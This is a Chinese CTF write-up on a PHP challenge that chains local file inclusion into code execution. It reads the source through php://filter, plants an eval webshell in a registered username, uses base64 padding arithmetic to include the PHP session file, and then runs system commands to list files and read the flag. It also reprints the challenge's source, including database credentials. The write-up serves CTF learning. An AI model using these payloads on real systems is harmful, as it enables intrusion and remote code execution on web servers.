一道ctf session包含 php文件包含
index.php
login.php
register.php
config.php
logout.php
wappalyzer显示 php5.5.9 Apache2.4.7 ubuntu系统
文件包含
http://54.222.188.152:22589/index.php?action=login.php
读取源码
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-encode/resource=index.php
index.php
login.php
register.php
config.php
logout.php
base64解码后得到源代码,进行代码审计
发现sql查询处,用了预编译,无法注入
用户可控,且没有防护的参数为session,session与用户名有关
先注册用户名,然后登陆,登陆时username的值会以某种形式保存在SESSION数组中(一般是序列化+base64加密,方便调用),然后服务器会返回一个cookie
这里联想到包含session缓存文件
php的 session文件的默认存放位置大致如下
/var/lib/php/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
其中,PHPSESSID是cookie中的PHPSESSID值
成功包含session缓存文件
路径为 /var/lib/php5/sess_PHPSESSID
这里是注册了一个用户名haha,然后登陆的时候得到cookie中的PHPSESSID,然后在index.php包含session的文件内容
接下来要调用php://filter/read=convert.base64-decode/resource=
的伪协议,在包含之前将中间那段base64解开,再包含php代码
但是在解码之前的 username|s:8:"
这14个字符串会影响对后面base64的解码,所以这里是考察base64编码的知识
base64加密是把3*8=24bit加密成4*6=24bit,即3个字符加密成4个字符
base64解密是把4*6=24bit解密成3*8=24bit,即4个字符解密成3个字符
base64解密时,一个字符6bit,14个字符就是14*6=84bit,84/24除不尽
所以解密时必定会影响后面编码的字符串
如果能把前面14个字符补充到16个字符,则解密时6*16=96bit,96/24=4 可以整除
所以base64解码解码时不会影响后面编码的字符串,只是前面会乱码而已
这里可以注册较长的用户名,使得 username|s:8:"
中的数字从1位数变为3位数(这里以100为例),即可达到16个字符,这里的8
是用户名用base64加密后的长度,username进行base64加密后为100个字符,则username长度至少为 100*6bit/8bit=75
至此我们可以用75个a + php代码
的形式注册用户名,就能在包含session缓存文件的时候,调用base64-decode的php伪协议,先解码再包含,从而达到php代码执行的效果
先测试<?php echo 'haha';?>
成功执行php命令
接下来注册 75个a+php一句话 的username
注册并登陆后,拿到cookie中的PHPSESSID,然后上菜刀连接
注册并登陆的payload
1 | username=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa<?php @eval($_POST['caidao']); ?>&password=123 |
菜刀连接的payload,密码是 caidao
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_a0e6k729l1jp80jj45gvieua34
附上几个php文件的源码
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | <?php error_reporting(0); session_start(); if (isset($_GET['action'])) { include $_GET['action']; exit(); } else { ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Login</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="css/bootstrap.css" rel="stylesheet" media="screen"> <link href="css/main.css" rel="stylesheet" media="screen"> </head> <body> <div class="container"> <div class="form-signin"> <?php if (isset($_SESSION['username'])) { ?> <?php echo "<div class=\"alert alert-success\">You have been <strong>successfully logged in</strong>.</div> <a href=\"index.php?action=logout.php\" class=\"btn btn-default btn-lg btn-block\">Logout</a>";}else{ ?> <?php echo "<div class=\"alert alert-warning\">Please Login.</div> <a href=\"index.php?action=login.php\" class=\"btn btn-default btn-lg btn-block\">Login</a> <a href=\"index.php?action=register.php\" class=\"btn btn-default btn-lg btn-block\">Register</a>"; } ?> </div> </div> </body> </html> <?php } ?> |
login.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | <?php require_once('config.php'); session_start(); if($_SESSION['username']) { header('Location: index.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = md5($_POST['password']); $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $sql = "select password from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_password); $stmt->execute(); $stmt->fetch(); if ($res_password == $password) { $_SESSION['username'] = base64_encode($username); header("location:index.php"); } else { die("Invalid user name or password"); } $stmt->close(); $mysqli->close(); } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="login.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Login</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?> |
register.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | <?php if ($_POST['username'] && $_POST['password']) { require_once('config.php'); $username = $_POST['username']; $password = md5($_POST['password']); $mysqli = @new mysqli($dbhost, $dbuser, $dbpass, $dbname); if ($mysqli->connect_errno) { die("could not connect to the database:\n" . $mysqli->connect_error); } $mysqli->set_charset("utf8"); $sql = "select * from user where username=?"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("s", $username); $stmt->bind_result($res_id, $res_username, $res_password); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows(); if($count) { die('User name Already Exists'); } else { $sql = "insert into user(username, password) values(?,?)"; $stmt = $mysqli->prepare($sql); $stmt->bind_param("ss", $username, $password); $stmt->execute(); echo 'Register OK!<a href="index.php">Please Login</a>'; } $stmt->close(); $mysqli->close(); } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" style="margin-top:100px"> <form action="register.php" method="post" class="well" style="width:220px;margin:0px auto;"> <h3>Register</h3> <label>Username:</label> <input type="text" name="username" style="height:30px"class="span3"/> <label>Password:</label> <input type="password" name="password" style="height:30px" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?> |
logout.php
1 2 3 4 5 6 | <?php session_start(); session_destroy(); ob_start(); header("location:index.php"); ob_end_flush(); |
config.php
1 2 3 4 5 6 | <?php $dbhost = 'localhost'; $dbuser = 'web'; $dbpass = 'webpass123'; $dbname = 'web'; ?> |
作者:_阿烨_
链接:https://www.jianshu.com/p/2c24ea34566b
Get Flag
注册一个账号,比如:
chybetachybetachybetachybetachybetachybetachybetachybetachybeta<?php eval($_GET['atebyhc']) ?>
其base64加密后的长度为128,大于100。
http://54.222.188.152:22589/index.php
?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85
&atebyhc=phpinfo();
成功getshell。
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');
访问:
http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');
小结
考了几个知识点:
- php文件包含:伪协议利用
- php文件包含:包含session文件
- php-session知识及序列化格式
- base64的基本原理
文章部分内容来源:https://xz.aliyun.com/t/1576/
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏